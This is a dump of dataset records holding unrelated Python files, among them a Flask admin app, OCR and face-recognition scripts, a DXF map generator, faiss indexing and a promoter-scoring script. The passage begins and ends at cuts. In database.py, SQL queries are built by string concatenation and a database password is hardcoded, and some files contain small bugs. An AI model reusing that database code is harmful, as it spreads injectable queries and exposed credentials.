同样是出错,但程序���印完错误信息后会继续执行,并正常退出:\r\n\r\n# 抛出错误\r\nprint(\"-\"*20)\r\nclass FooError(ValueError):\r\n pass\r\n\r\ndef fooo(s):\r\n n = int(s)\r\n if n == 0:\r\n raise FooError('invalid value : %s' % s)\r\n return 10 / n\r\nfooo(\"0\")\r\n\r\n# 错误处理的正确方法\r\ndef foooo(s):\r\n n = int(s)\r\n if n == 0:\r\n raise ValueError('invalid value:%s' %s )\r\n return 10/n\r\n\r\ndef beer():\r\n try:\r\n foooo(\"0\")\r\n except ValueError as e:\r\n print(\"ValueError!\")\r\n raise\r\nbeer()\r\n# 在bar()函数中,我们明明已经捕获了错误,但是,打印一个ValueError!后,又把错误通过raise语句抛出去了,这不有病么?\r\n\r\n# 其实这种错误处理方式不但没病,而且相当常见。捕获错误目的只是记录一下,便于后续追踪。但是,由于当前函数不知道应该怎么处理该错误,所以,最恰当的方式是继续往上抛,让顶层调用者去处理。\r\n","sub_path":"教程/错误处理.py","file_name":"错误处理.py","file_ext":"py","file_size_in_byte":1832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"534631382","text":"# -*- coding: utf-8 -*-\r\nimport makeData.txtParser\r\n\r\nclass cTxtParser(makeData.txtParser.cTxtParser):\r\n\t'''单项导表,如对白表\r\n\t'''\r\n\r\n\tdef getParseTxt(self):\r\n\t\tlineList = self.parseTxtTo2dGroup()\r\n\t\tif not lineList:\r\n\t\t\treturn \"{\\n}\"\r\n\r\n\t\ttitleList = lineList.pop(0)\r\n\t\tkeyList = []\r\n\t\tvalList = []\r\n\t\tfor i, v in enumerate(lineList):\r\n\t\t\tkeyList.append(v[0])\r\n\t\t\tvalList.append(v[1])\r\n\t\t\r\n\t\treturn self.makeDict(keyList, valList, True, 1)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"logic/makeData/txtParser/singleparser.py","file_name":"singleparser.py","file_ext":"py","file_size_in_byte":467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"654389059","text":"import cv2\nimport numpy as np\nimport pytesseract\nfrom PIL import Image\n\ncap=cv2.VideoCapture(0)\nwhile True:\n\t_,fr\t=\tcap.read()\n\tframe\t=\tcv2.cvtColor(fr , cv2.COLOR_BGR2GRAY)\n\t\n\t\n\t\n\t#kernel\t=\tnp.ones((1,1) , np.uint8)\n\t#frame\t=\tcv2.dilate(frame , kernel , iterations=1)\n\t#frame\t=\tcv2.erode(frame , kernel , iterations=1)\n\t#frame\t=\tcv2.adaptiveThreshold(frame , 255 , cv2.ADAPTIVE_THRESH_GAUSSIAN_C , cv2.THRESH_BINARY , 9 , 2)\n\t\n\t_,frame\t=\tcv2.threshold(frame , 100 , 255 , cv2.THRESH_BINARY | cv2.THRESH_OTSU)\n\tframe\t=\tcv2.medianBlur(frame , 3)\n\t\n\t\n\t#frame2\t=\tcv2.adaptiveThreshold(frame , 255 , cv2.ADAPTIVE_THRESH_GAUSSIAN_C , cv2.THRESH_BINARY , 11 , 2)\n\tresult\t=\tpytesseract.image_to_string(Image.fromarray(frame) , lang='eng')\n\tif len(result) is not 0:\n\t\tprint(result)\n\tcv2.imshow('Frame',frame)\n\t#scv2.imshow('fff',frame2)\n\tif cv2.waitKey(5) == 27:\n\t\tcv2.destroyAllWindows()\n\t\tcap.release()\n\t\tbreak\n","sub_path":"Pytesseract/RealTimeOCR/RealTimeRecognition2.py","file_name":"RealTimeRecognition2.py","file_ext":"py","file_size_in_byte":905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"64710606","text":"import os\nimport cv2\nimport time\n\nimport numpy as np\nimport recognise_face \n\n# testing on 10 images, over all parameters\n\nimages = os.listdir('./test_images/')\nextractors = ['sift', 'surf']\nmodels = ['svm', 'rf']\n\nfor im in images:\n for model in models:\n for extractor in extractors:\n fin, _ = recognise_face.recognise_face(os.path.join('./test_images', im), feature_type = extractor, classifier_type = model, creative_mode = 0)\n\n img = cv2.imread(f'./test_images/{im}')\n centres = [tuple(x.strip('.JPG').strip('.PNG').split('_')[1:3]) for x in fin.keys()]\n for x, y in zip(centres, fin.values()):\n print(f'{y} {x[0]} {x[1]}')\n img = cv2.putText(img, f'{y}', (int(x[0]), int(x[1])), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 0, 255), 2, cv2.LINE_AA)\n\n t = str(time.time()).split('.')[0]\n cv2.imwrite(f'{extractor}_{model}_results{t}.JPG', img)\n","sub_path":"CV/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"348227896","text":"from macros import *\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom Uniforme01 import *\n\ndef UniformeDiscreta(n):\n return 1 + int(Uniforme01() * n)\n\ndef UniformeDiscretaDistribution(num):\n dict = {}\n for i in range(ITERATIONS):\n n = UniformeDiscreta(num)\n\n if n in dict:\n dict[n] += 1\n else:\n dict[n] = 1\n\n a = [i for i in dict.items()]\n a.sort()\n\n x = np.arange(0, num + 1, 0.01)\n y = []\n\n total = 0\n j = 0\n for xi in x:\n while j < len(a) and a[j][0] < xi:\n total += a[j][1]\n j += 1\n y.append(total/ITERATIONS)\n \n return (x, y)\n\n\ndef PlotUniformeDiscretaDistribution(num):\n lis_simulates = []\n\n for i in range(SIMULATIONS):\n lis_simulates.append(UniformeDiscretaDistribution(num))\n\n for i in range(SIMULATIONS):\n plt.plot(lis_simulates[i][0], lis_simulates[i][1], label=f'Simulación {i + 1}')\n\n plt.legend()\n plt.ylabel('Probabilidad')\n plt.title('Distribución de v.a. uniforme discreta')\n\n plt.show()\n\ndef UniformeDiscretaExpectedValue(num):\n result = {}\n total = 0\n for i in range(ITERATIONS):\n total += UniformeDiscreta(num)\n\n result['expected_value_aprox'] = total / ITERATIONS\n result['expected_value_real'] = (num + 1) / 2\n result['error'] = abs(result['expected_value_aprox'] - result['expected_value_real'])\n\n return result","sub_path":"UniformeDiscreta.py","file_name":"UniformeDiscreta.py","file_ext":"py","file_size_in_byte":1429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"112625525","text":"## German traffic signs from the web\nimport glob\nimage_names = glob.glob(\"./validate_images/*.ppm\")\ntest_imgs = []\ncropped_test_imgs = []\nshapes = []\nf, axes = plt.subplots(2, 5)\ncount = 0\n\nfor name in image_names:\n test_img=mpimg.imread(name)\n shape = test_img.shape\n croped_img = test_img[10:40, 10:40]\n shapes.append(test_img.shape)\n test_imgs.append(test_img)\n axes[0,count].set_title(count+1)\n axes[0,count].imshow(croped_img)\n# axes[1,count].set_title(count+1)\n# axes[1,count].imshow(croped_img)\n count = count + 1\nprint('image shape:', shapes)\n# test_img1=mpimg.imread('./validate_images/00004.ppm')\n# plt.figure(figsize=(1,1))\n# plt.imshow(img)\n# print(img.shape)\n# # plt.figure(figsize=(1,1))\n# # test_image = np.reshape(test_image,[32,32])\n# # plt.imshow(test_image, cmap='gray')\n","sub_path":"image_processing/reading_folder.py","file_name":"reading_folder.py","file_ext":"py","file_size_in_byte":822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"452778301","text":"#!/usr/bin/env python\n# encoding: utf-8\n\n\nfrom flask import render_template, redirect, url_for, abort, request, \\\n current_app, flash\nfrom . import main\nfrom .forms import EditProfileForm, EditProfileAdminForm, \\\n EditGropuForm, AddGropuForm, AddIdcForm, EditIdcForm\nfrom .. import db\nfrom ..models import User, IDC, Groups, Hosts\nfrom flask.ext.login import login_required, current_user\nfrom ..decorators import administrator_required\n\n\n@main.route('/', methods=['GET', 'POST'])\ndef index():\n '''main page url'''\n return render_template('index.html')\n\n\n@main.route('/user/<username>', methods=['GET', 'POST'])\n@login_required\ndef user(username):\n '''user information url'''\n user = User.query.filter_by(username=username).first()\n if user is None:\n abort(404)\n return render_template('user.html', user=user)\n\n\n@main.route('/edit_profile', methods=['GET', 'POST'])\n@login_required\ndef edit_profile():\n '''user information edit url'''\n form = EditProfileForm(user=current_user.id)\n if form.validate_on_submit():\n current_user.name = form.name.data\n current_user.mobile = form.mobile.data\n current_user.pub_key = form.pub_key.data\n current_user.pri_key = form.pri_key.data\n db.session.add(current_user)\n return redirect(url_for('.user', username=current_user.username))\n form.name.data = current_user.name\n form.mobile.data = current_user.mobile\n form.pub_key.data = current_user.pub_key\n form.pri_key.data = current_user.pri_key\n return render_template('edit_profile.html', form=form)\n\n\n@main.route('/edit_profile/<int:id>', methods=['GET', 'POST'])\n@login_required\n@administrator_required\ndef edit_profile_admin(id):\n '''admin user information edit url'''\n user = User.query.get_or_404(id)\n form = EditProfileAdminForm(user=user)\n if form.validate_on_submit():\n user.email = form.email.data\n user.username = form.username.data\n user.name = form.name.data\n user.mobile = form.mobile.data\n user.pub_key = form.pub_key.data\n user.pri_key = form.pri_key.data\n db.session.add(user)\n return redirect(url_for('.user', username=user.username))\n form.email.data = user.email\n form.username.data = user.username\n form.name.data = user.name\n form.mobile.data = user.mobile\n form.pub_key.data = user.pub_key\n form.pri_key.data = user.pri_key\n return render_template('edit_profile.html', form=form, user=user)\n\n\n@main.route('/userlist', methods=['GET', 'POST'])\n@login_required\n@administrator_required\ndef userlist():\n '''user list url for admin'''\n page = request.args.get('page', 1, type=int)\n pagination = User.query.order_by(User.member_since.desc()).paginate(\n page, per_page=current_app.config['FLASK_PER_PAGE'],\n error_out=False)\n users = pagination.items\n return render_template('userlist.html',\n pagination=pagination, users=users)\n\n\n@main.route('/idc', methods=['GET', 'POST'])\n@login_required\ndef idc():\n '''idc list for all'''\n page = request.args.get('page', 1, type=int)\n pagination = IDC.query.order_by(IDC.id.desc()).paginate(\n page, per_page=current_app.config['FLASK_PER_PAGE'],\n error_out=False)\n idcs = pagination.items\n return render_template('idc.html',\n pagination=pagination, idcs=idcs)\n\n\n@main.route('/add_idc', methods=['GET', 'POST'])\n@login_required\n@administrator_required\ndef add_idc():\n '''add idc'''\n form = AddIdcForm()\n if form.validate_on_submit():\n idc = IDC(name=form.name.data,\n remark=form.remark.data)\n db.session.add(idc)\n return redirect(url_for('.idc'))\n return render_template('add_idc.html', form=form)\n\n\n@main.route('/del_idc/<int:id>', methods=['GET', 'POST'])\n@login_required\n@administrator_required\ndef del_idc(id):\n '''delete IDC'''\n idc = IDC.query.get_or_404(id)\n if len(Hosts.query.join(IDC, Hosts.idc_id==id).all()) == 0:\n db.session.delete(idc)\n return redirect(url_for('.idc', idc=idc.name))\n flash(\"Some host in this IDC. You can't remove this IDC(%s)\" % idc.name)\n return redirect(url_for('.idc', idc=idc.name))\n\n\n@main.route('/edit_idc/<int:id>', methods=['GET', 'POST'])\n@login_required\n@administrator_required\ndef edit_idc(id):\n '''edit idc list'''\n idc = IDC.query.get_or_404(id)\n form = EditIdcForm(idc=idc)\n if form.validate_on_submit():\n idc.name = form.name.data\n idc.remark = form.remark.data\n db.session.add(idc)\n return redirect(url_for('.idc'))\n form.name.data = idc.name\n form.remark.data = idc.remark\n return render_template('edit_idc.html', form=form, idc=idc)\n\n\n@main.route('/group', methods=['GET', 'POST'])\n@login_required\ndef group():\n '''Business groups list'''\n page = request.args.get('page', 1, type=int)\n pagination = Groups.query.order_by(Groups.id.desc()).paginate(\n page, per_page=current_app.config['FLASK_PER_PAGE'],\n error_out=False)\n groups = pagination.items\n return render_template('group.html',\n pagination=pagination, groups=groups)\n\n\n@main.route('/add_group', methods=['GET', 'POST'])\n@login_required\n@administrator_required\ndef add_group():\n '''edit groups list'''\n form = AddGropuForm()\n if form.validate_on_submit():\n group = Groups(name=form.name.data,\n remark=form.remark.data)\n db.session.add(group)\n return redirect(url_for('.group'))\n return render_template('add_group.html', form=form)\n\n\n@main.route('/del_group/<int:id>', methods=['GET', 'POST'])\n@login_required\n@administrator_required\ndef del_group(id):\n '''delete Group'''\n group = Groups.query.get_or_404(id)\n if len(Hosts.query.join(Groups, Hosts.group_id==id).all()) == 0:\n db.session.delete(group)\n return redirect(url_for('.group', group=group.name))\n flash(\"Some host in this Group. You can't remove this Group(%s)\" % group.name)\n return redirect(url_for('.group', group=group.name))\n\n\n@main.route('/edit_group/<int:id>', methods=['GET', 'POST'])\n@login_required\n@administrator_required\ndef edit_group(id):\n group = Groups.query.get_or_404(id)\n form = EditGropuForm(group=group)\n if form.validate_on_submit():\n group.name = form.name.data\n group.remark = form.remark.data\n db.session.add(group)\n return redirect(url_for('.group', group=group.name))\n form.name.data = group.name\n form.remark.data = group.remark\n return render_template('edit_group.html', form=form, group=group)\n","sub_path":"app/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6588,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"537509547","text":"#Testing objects, constructors, and variables\nclass Human:\n #Setting the constructor so I can easily create attributes\n #self is the same as 'this' in Java\n def __init__(self, name, age, gender):\n #Instance variables\n self.name = name\n self.age = age\n self.gender = gender\n\n #a method that the human can do\n def introduce(self):\n #The self.(variable) part ensures that each object uses its own attributes when the function is called.\n print(\"My name is \"+self.name+ \". I am \"+ self.age+ \". I am a \"+ self.gender+ \".\")\n\n#The human objects that I created\nhuman1 = Human(\"Jin\" , \"17\", \"male\")\nhuman2 = Human(\"John\", \"25\", \"male\")\n\n#Calling the introduce method for each object\nhuman1.introduce()\nhuman2.introduce()\n\nclass Dog:\n def __init__(self, n, c, o):\n self.name = n\n self.color = c\n self.owner = o\n\n def bark(self):\n print(\"Bark! My name is \"+ self.n+ \"! My owner is \"+ self.o+ \"!\")\n\n#More objects\ndog1 = Dog(\"Barky\", \"Brown\", \"Jin\")\ndog2 = Dog(\"Doggo\", \"White\", \"John\")\n\n#Who owns which dog\ndog1.owner = human1\ndog2.owner = human2\n\n#Prints out in a new way\ndog1.owner.introduce()\ndog2.owner.introduce()","sub_path":"objects-test.py","file_name":"objects-test.py","file_ext":"py","file_size_in_byte":1197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"82627942","text":"# -*- coding: utf-8 -*-\nfrom multiprocessing import Pool\nfrom hybrid import hybrid\nimport os\nimport PIL.Image\nimport PIL.Image\n\nimport scipy.io as sio\nimport numpy\n\nimgFilePath = '/Users/yuan/inputSuperpixel/BSR/BSDS500/data/images/val/'\noutputPath = \"/Users/yuan/BaiduYun/MyDocument/workspace/MyMatlab/superpixel_benchmark/result/hybrid/\"\nlisting = os.listdir(imgFilePath)\nn_segments=300\nwhile n_segments<=300:\n i=59\n while i<len(listing):\n file=listing[i]\n #for file in listing:\n if file!='.DS_Store':\n img =img = numpy.array( PIL.Image.open(imgFilePath + file))\n info='processing: '+file\n print(info)\n finalLabel=hybrid(img,n_segments)\n fileName,extension=os.path.splitext(file)\n folder=n_segments.__str__()\n folder='hybrid_'+folder+'/'\n directory=outputPath+folder\n if not os.path.exists(directory):\n os.makedirs(directory)\n savePath=directory+fileName+'.mat'\n sio.savemat(savePath,{'finalLabel':finalLabel})\n\n i+=1\n\n\n n_segments+=50\n","sub_path":"Superpixel/FH_Hybrid_runable/processAll.py","file_name":"processAll.py","file_ext":"py","file_size_in_byte":1107,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"360107029","text":"#!/usr/bin/python3\nimport cv2\nimport sys\nimport ezdxf\nimport argparse\nimport numpy as np\n\nfrom tj2_tools.occupancy_grid import OccupancyGridManager\n\ndef inch_to_meters(inch):\n return inch * 0.0254\n\n\ndef meter_to_inches(meter):\n return meter * 39.37\n\n\ndef mouse_callback(event, x, y, flags, param):\n ogm: OccupancyGridManager = param[\"ogm\"]\n session = param[\"session\"]\n if (event == cv2.EVENT_LBUTTONDOWN):\n mask = np.zeros((ogm.height + 2, ogm.width + 2), np.uint8)\n grid_data = ogm.grid_data.astype(np.uint8)\n if session.mode == \"unknown\":\n new_value = 255\n elif session.mode == \"wall\":\n new_value = 100\n elif session.mode == \"free\":\n new_value = 0\n cv2.floodFill(grid_data, mask, seedPoint=(x, y), newVal=new_value)\n ogm.grid_data = grid_data.astype(np.int8)\n cv2.imshow(session.window_name, ogm.to_debug_image())\n\n\nclass DrawingSession:\n def __init__(self, window_name, mode):\n self.window_name = window_name\n self.mode = mode\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"generate map from dxf\", add_help=True)\n parser.add_argument(\"dxf\", help=\"DXF file path\")\n parser.add_argument(\"-o\", \"--output\", default=\"map.yaml\", help=\"Output path\")\n parser.add_argument(\"-l\", \"--line\", default=1, help=\"line width\")\n args = parser.parse_args()\n\n out_path = args.output\n ogm = OccupancyGridManager()\n\n resolution = 0.05 # meters/pixel\n width_meters = 20.0\n height_meters = 20.0\n width_px = int(width_meters / resolution)\n height_px = int(height_meters / resolution)\n\n ogm.set_resolution(resolution)\n ogm.set_width(width_px)\n ogm.set_height(height_px)\n ogm.set_origin((-width_meters / 2, -height_meters / 2))\n ogm.set_grid_data(np.zeros((height_px, width_px), dtype=np.int8))\n\n doc = ezdxf.readfile(args.dxf)\n\n msp = doc.modelspace()\n lines = msp.query(\"LINE\")\n for line in lines:\n start = line.get_dxf_attrib(\"start\")\n end = line.get_dxf_attrib(\"end\")\n\n x0 = inch_to_meters(start.x)\n y0 = inch_to_meters(start.y)\n x1 = inch_to_meters(end.x)\n y1 = inch_to_meters(end.y)\n\n grid_pt1 = ogm.get_costmap_x_y(x0, y0)\n grid_pt2 = ogm.get_costmap_x_y(x1, y1)\n\n cv2.line(ogm.grid_data, grid_pt1, grid_pt2, (100,), int(args.line))\n\n show_image = ogm.to_debug_image()\n\n session = DrawingSession(\"map\", \"unknown\")\n\n cv2.namedWindow(session.window_name)\n cv2.setMouseCallback(session.window_name, mouse_callback, param=dict(ogm=ogm, session=session))\n cv2.imshow(session.window_name, show_image)\n while True:\n key = chr(cv2.waitKey(-1) & 0xff)\n if key == 'q':\n break\n elif key == 'u':\n session.mode = \"unknown\"\n elif key == 'w':\n session.mode = \"wall\"\n elif key == 'f':\n session.mode = \"free\"\n elif key == 's':\n ogm.write_map(out_path)\n print(\"Saving to %s\" % out_path)\n ogm.write_map(out_path)\n print(\"Saving to %s\" % out_path)\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"src/tj2_laser_slam/scripts/generate_map_from_dxf.py","file_name":"generate_map_from_dxf.py","file_ext":"py","file_size_in_byte":3143,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"357801278","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom globals import *\nimport pymysql as PyMySQL\nimport requests\nfrom _thread import start_new_thread\nimport sys, time\n\ndef get_user_name(userid, channel, lang):\n #Get username from db if it exists else create it\n global DEBUG\n username = \"\"\n\n try:\n #setup mysql connection\n db = PyMySQL.connect(\"localhost\", \"tuner\", \"tunerpassword?\", \"tunes2u\")\n\n cursor = db.cursor(PyMySQL.cursors.DictCursor)\n cursor.execute(\"SELECT firstname FROM users WHERE channel_userid = '\" + str(userid) + \"';\")\n if(cursor.rowcount == 0):\n if(channel == \"facebook\"):\n data = requests.get(url='https://graph.facebook.com/v{0}/{2}?fields=first_name,last_name,locale&access_token={1}'.format(FACEBOOK_API, FACEBOOK_TOKEN, userid)).json()\n username = data[\"first_name\"]\n start_new_thread(add_user_to_db,({\"firstname\": data[\"first_name\"], \"lastname\": data[\"last_name\"], \"locale\": data[\"locale\"], \"channel\": channel, \"userid\": userid},))\n if(DEBUG == 1):\n print(\"Username from GET is: \" + username)\n elif(channel == \"telegram\"):\n start_new_thread(add_user_to_db,({\"firstname\": username, \"lastname\": \"\", \"locale\": lang, \"channel\": channel, \"userid\": userid},))\n else:\n if(channel == \"facebook\"):\n username = cursor.fetchone()[\"firstname\"]\n cursor.execute(\"UPDATE users SET lastsearch = NOW(), totalsearches = totalsearches + 1 WHERE channel_userid = '\" + str(userid) + \"';\")\n db.commit()\n if(DEBUG == 1):\n print(\"Username from DB is: \" + username)\n cursor.close()\n db.close()\n except:\n e = sys.exc_info()\n with open(\"error.log\", \"a\") as logfile:\n logfile.write(time.strftime(\"%d/%m/%Y %H:%M:%S\")+\" - \"+str(e)+\"\\n\")\n db.rollback()\n db.close()\n\n return username\n\ndef get_user_searches_count(userid):\n try:\n # Setup MySQL connection\n db = PyMySQL.connect(\"localhost\", \"tuner\", \"tunerpassword?\", \"tunes2u\")\n\n # Get users total count of searches\n cursor = db.cursor(PyMySQL.cursors.DictCursor)\n cursor.execute(\"SELECT totalsearches FROM users WHERE channel_userid = '\" + str(userid) + \"';\")\n value = int(cursor.fetchone()[\"totalsearches\"])\n cursor.close()\n db.close()\n\n return value\n except:\n e = sys.exc_info()\n with open(\"error.log\", \"a\") as logfile:\n logfile.write(time.strftime(\"%d/%m/%Y %HH:%M:%S\") + \" - \" + str(e) +\"\\n\")\n db.close()\n\ndef add_user_to_db(data):\n try:\n #setup mysql connection\n db = PyMySQL.connect(\"localhost\", \"tuner\", \"tunerpassword?\", \"tunes2u\")\n\n # Add user to db\n cursor = db.cursor(PyMySQL.cursors.DictCursor)\n cursor.execute(\"SELECT id FROM channels WHERE name = '\" + data[\"channel\"] + \"';\")\n channelid = cursor.fetchone()[\"id\"]\n\n # Check if formating is enough escaping\n if(DEBUG==1):\n print(\"Adding to DB: \"+str(data))\n\n cursor.execute(\"INSERT INTO users(firstname, lastname, locale, channel, channel_userid) VALUES (\\\"{}\\\", \\\"{}\\\", \\\"{}\\\", \\\"{}\\\", \\\"{}\\\")\".format(data[\"firstname\"], data[\"lastname\"], data[\"locale\"], channelid, data[\"userid\"]))\n db.commit()\n cursor.close()\n db.close()\n except:\n e = sys.exc_info()\n with open(\"error.log\", \"a\") as logfile:\n logfile.write(time.strftime(\"%d/%m/%Y %H:%M:%S\")+\" - \"+str(e)+\"\\n\")\n db.rollback()\n db.close()\n","sub_path":"database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":3640,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"50267342","text":"def opencsv(filename):\n import csv\n fstream = open(filename, \"r\")\n reader = csv.reader(fstream)\n data = []\n for entry in reader:\n data.append(entry)\n fstream.close()\n return data\n\n\ndef columns(data, *columns):\n newdata = []\n for entry in data:\n newdata.append([entry[i] for i in columns])\n return newdata\n\n\ndef writecsv(filename, data):\n import csv\n fstream = open(filename, \"w\")\n writer = csv.writer(fstream)\n writer.writerows(data)\n fstream.close()\n","sub_path":"pythonlib/formats.py","file_name":"formats.py","file_ext":"py","file_size_in_byte":510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"533755377","text":"import faiss\nimport numpy as np\nimport utils.path_fixes as pf\nfrom pathlib import Path\nfrom data.processing.woz_embeddings import CorpusEmbeddings\nfrom functools import partial\n\ndef train_indexes(ce:CorpusEmbeddings, stepsize=100):\n \"\"\"\n \n Parameters:\n ===========\n - corpus_embedding: Wrapper around HDF5 file for easy access to data\n - stepsize: How many sentences to train with at once\n \"\"\"\n \n indexes = [faiss.IndexFlatIP(ce.embedding_dim) for i in range(ce.n_layers)]\n\n for ix in range(0, len(ce), stepsize):\n cdata = ce[ix:ix+stepsize]\n # print(ix)\n # print(cdata.shape)\n for i in range(ce.n_layers):\n indexes[i].add(cdata[i])\n \n return indexes\n\ndef save_indexes(idxs, base_name=str(pf.WOZ_LAYER_TEMPLATE)):\n for i, idx in enumerate(idxs):\n faiss.write_index(idx, base_name.format(i))\n\nclass Indexes:\n def __init__(self, folder):\n self.base_dir = Path(folder)\n self.indexes = [None] * 12 # Initialize empty list\n self.__init_indexes()\n \n def __getitem__(self, v):\n \"\"\"Slices currently not allowed\"\"\"\n return self.indexes[v]\n \n def __init_indexes(self):\n for fname in self.base_dir.glob(pf.FAISS_LAYER_PATTERN):\n print(fname)\n idx = fname.stem.split('_')[-1]\n self.indexes[int(idx)] = faiss.read_index(str(fname))\n\n def search(self, layer, query, k):\n \"\"\"Search a given layer for the query vector. Return k results\"\"\"\n return self[layer].search(query, k)\n\n\ndef create_mask(head_size, n_heads, selected_heads):\n mask = np.zeros(n_heads)\n for h in selected_heads:\n mask[int(h)] = 1\n \n return np.repeat(mask, head_size)\n\ndefault_masks = {\n 'bert-base-uncased': partial(create_mask, 64, 12)\n}\n\nbase_mask = default_masks['bert-base-uncased']\n\nclass ContextIndexes(Indexes):\n # Int -> [Int] -> np.Array -> Int -> (np.Array(), )\n def search(self, layer:int, heads:list, query:np.ndarray, k:int):\n \"\"\"Search the embeddings for the context layer, masking by selected heads\"\"\"\n assert max(heads) < 12 # Heads should be indexed by 0\n assert min(heads) >= 0\n \n unique_heads = list(set(heads))\n mask_vector = base_mask(unique_heads)\n mask_vector = mask_vector.reshape(query.shape)\n\n new_query = (query * mask_vector).astype(np.float32)\n # print(new_query.dtype)\n\n return self[layer].search(new_query, k)\n\nif __name__ == \"__main__\":\n ce = CorpusEmbeddings(str(pf.WOZ_HDF5))\n indexes = train_indexes(ce)\n # save_indexes(indexes)\n wi = Indexes(str(pf.WOZ_EMBEDDINGS))\n print(wi)\n q = np.random.randn(1, 768).astype(np.float32)\n D, I = wi.search(0, q, 5)\n print(ce.find2d(I))","sub_path":"server/data/processing/create_faiss.py","file_name":"create_faiss.py","file_ext":"py","file_size_in_byte":2794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"350122315","text":"#!/usr/bin/env python\nimport tensorflow as tf\nimport numpy as np\nfrom math import sqrt\nimport numpy as np\nfrom numpy import zeros\nimport sys\nimport re\nimport math\nimport os\nfrom random import randint\nfrom tensorflow.python.saved_model import builder as saved_model_builder\n\n\ndef brun(sess, y, a):\n preds = []\n batch_size = 100\n number_of_full_batch = int(math.ceil(float(len(a))/batch_size))\n for i in range(number_of_full_batch):\n preds += list(sess.run(y,\n feed_dict={input_x: a[i*batch_size:(i+1)*batch_size], kr1: 1.0, kr2: 1.0}))\n return preds\n\ndef fastarev(a):\n sb = []\n for i in range(len(a)):\n if (a[i][0] == 1):\n sb.append(\"A\")\n elif (a[i][1] == 1):\n sb.append(\"T\")\n elif (a[i][2] == 1):\n sb.append(\"G\")\n elif (a[i][3] == 1):\n sb.append(\"C\")\n else:\n sb.append(\"N\") \n return ''.join(sb)\n\ndef encode(s):\n ns = s.upper()\n pattern = re.compile(r'\\s+')\n ns = re.sub(pattern, '', ns)\n ns = ns.replace(\"A\", \"0,\")\n ns = ns.replace(\"T\", \"1,\")\n ns = ns.replace(\"G\", \"2,\")\n ns = ns.replace(\"C\", \"3,\")\n if re.search('[a-zA-Z]', ns):\n # print(s)\n # print('Non-standard symbol in sequence - changed to A.')\n ns = re.sub(\"[a-zA-Z]\", \"4,\", ns)\n return ns[:-1]\n\ndef randomSeq(s):\n r = zeros((s, 4))\n for i in range(s):\n #r[i][randint(0, 3)] = 0\n r[i][0] = 1\n return r\n\ndef close(s, a):\n fmd = float('inf')\n for v in a:\n if(abs(s - v) < fmd):\n fmd = abs(s - v)\n return fmd\n\ndef tatascore(a, tss):\n tata = [[-1.02,-1.68,0,-0.28], [-3.05,0,-2.74,-2.06], [0,-2.28,-4.28,-5.22], [-4.61,0,-4.61,-3.49], [0,-2.34,-3.77,-5.17], [0,-0.52,-4.73,-4.63], [0,-3.65,-2.65,-4.12], [0,-0.37,-1.5,-3.74], [-0.01,-1.4,0,-1.13], [-0.94,-0.97,0,-0.05], [-0.54,-1.4,-0.09,0], [-0.48,-0.82,0,-0.05], [-0.48,-0.66,0,-0.11], [-0.74,-0.54,0,-0.28], [-0.62,-0.61,0,-0.4]]\n maxScore = -1000\n maxI = -1000\n for p in range(14):\n seq = a[tss-39 + p:tss-39+15 + p]\n score = 0\n for i in range(len(tata)):\n for j in range(4):\n score = score + tata[i][j]*seq[i][j]\n if(score>maxScore):\n maxScore = score\n maxI = 39 - p\n return maxScore, maxI\n\ndef ccaatscore(a, tss):\n ccat = [[-0.02,0,-1.46,-0.01],[-0.49,-0.01,-0.24,0],[-1.19,0,-1.26,-0.57],[0,-3.16,-0.4,-3.46],[-0.61,-1.44,0,-2.45],[-4.39,-3.99,-4.03,0],[-4.4,-4,-4.4,0],[0,-4.37,-4.37,-4.37],[0,-1.33,-1.69,-2.45],[-2.12,0,-2.26,-4.27],[-1.32,-2.84,-0.47,0],[0,-3.57,-0.81,-2.64]]\n maxScore = -1000\n maxI = -1000\n for p in range(142):\n seq = a[tss-200 + p:tss-200+12 + p]\n score = 0\n for i in range(len(ccat)):\n for j in range(4):\n score = score + ccat[i][j]*seq[i][j]\n if(score>maxScore):\n maxScore = score\n maxI = 200 - p\n return maxScore, maxI\n\ndef inrscore(a):\n inr = [[-1.14,0,-0.75,-1.16], [-5.26,-5.26,-5.26,0], [0,-2.74,-5.21,-5.21], [-1.51,-0.29,0,-0.41], [-0.65,0,-4.56,-0.45], [-0.55,-0.36,-0.86,0], [-0.91,0,-0.38,-0.29], [-0.82,0,-0.65,-0.18]]\n score = 0\n for i in range(len(inr)):\n for j in range(4):\n score = score + inr[i][j]*a[i][j]\n return score\n\ndef tctscore(a):\n tct = [[0.08,0.35,0.30,0.27],[0.08,0.32,0.17,0.43],[0.00,0.00,0.00,11.00],[0.07,0.62,0.08,0.24],[0.09,0.32,0.16,0.43],[0.11,0.43,0.15,0.30],[0.09,0.33,0.22,0.36],[0.10,0.28,0.24,0.38]]\n score = 0\n for i in range(len(tct)):\n for j in range(4):\n score = score + 